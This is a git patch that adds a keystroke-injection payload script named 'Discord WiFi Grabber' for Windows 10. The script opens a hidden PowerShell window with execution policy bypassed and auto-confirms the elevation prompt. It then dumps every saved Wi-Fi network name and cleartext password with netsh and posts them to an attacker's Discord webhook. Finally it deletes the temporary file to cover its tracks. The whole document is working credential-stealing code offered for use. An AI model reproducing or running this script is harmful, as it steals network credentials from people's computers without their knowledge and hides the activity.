From 2f41a34f6d0502b68d27a43d4c30e591dcb90a74 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Mon, 3 Jul 2023 15:41:22 +0000 Subject: [PATCH] Add files via upload --- OSINT/Discord WiFi Grabber.txt | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 OSINT/Discord WiFi Grabber.txt diff --git a/OSINT/Discord WiFi Grabber.txt b/OSINT/Discord WiFi Grabber.txt new file mode 100644 index 0000000..1ab5579 --- /dev/null +++ b/OSINT/Discord WiFi Grabber.txt @@ -0,0 +1,31 @@ + +REM Title: Wifi Grabber to Discord +REM Author: @beigeworm +REM Description: Uses Powershell to gather Wifi info and send it via Discord. +REM Target: Windows 10 + +REM *SETUP* +REM replace YOUR_WEBHOOK_HERE with your discord webhook. + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove -W Hidden to show the window) +GUI r +DELAY 750 +STRING powershell -NoP -NonI -W Hidden -Exec Bypass +CTRL-SHIFT ENTER +DELAY 1500 +ALT y +DELAY 4000 + +STRING $whuri = "YOUR_WEBHOOK_HERE" +STRING ; $outfile="";$a=0;$ws=(netsh wlan show profiles) -replace ".*:\s+";foreach($s in $ws){ +STRING ; if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "" -And $s.length -gt 5){$ssid=$s.Trim();if($s -Match ":"){$ssid=$s.Split(":")[1].Trim()} +STRING ; $pw=(netsh wlan show profiles name=$ssid key=clear);$pass="None";foreach($p in $pw){if($p -Match "Key Content"){$pass=$p.Split(":")[1].Trim();$outfile+="SSID: $ssid : Password: $pass`n"}}}$a++;} +STRING ; $outfile | Out-File -FilePath "$env:temp\info.txt" -Encoding ASCII -Append; $Pathsys = "$env:temp\info.txt"; $msgsys = Get-Content -Path $Pathsys -Raw +STRING ; $escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')} +STRING ; $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json +STRING ; Start-Sleep 1; Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys; Remove-Item -Path $Pathsys -force;exit +DELAY 500 +ENTER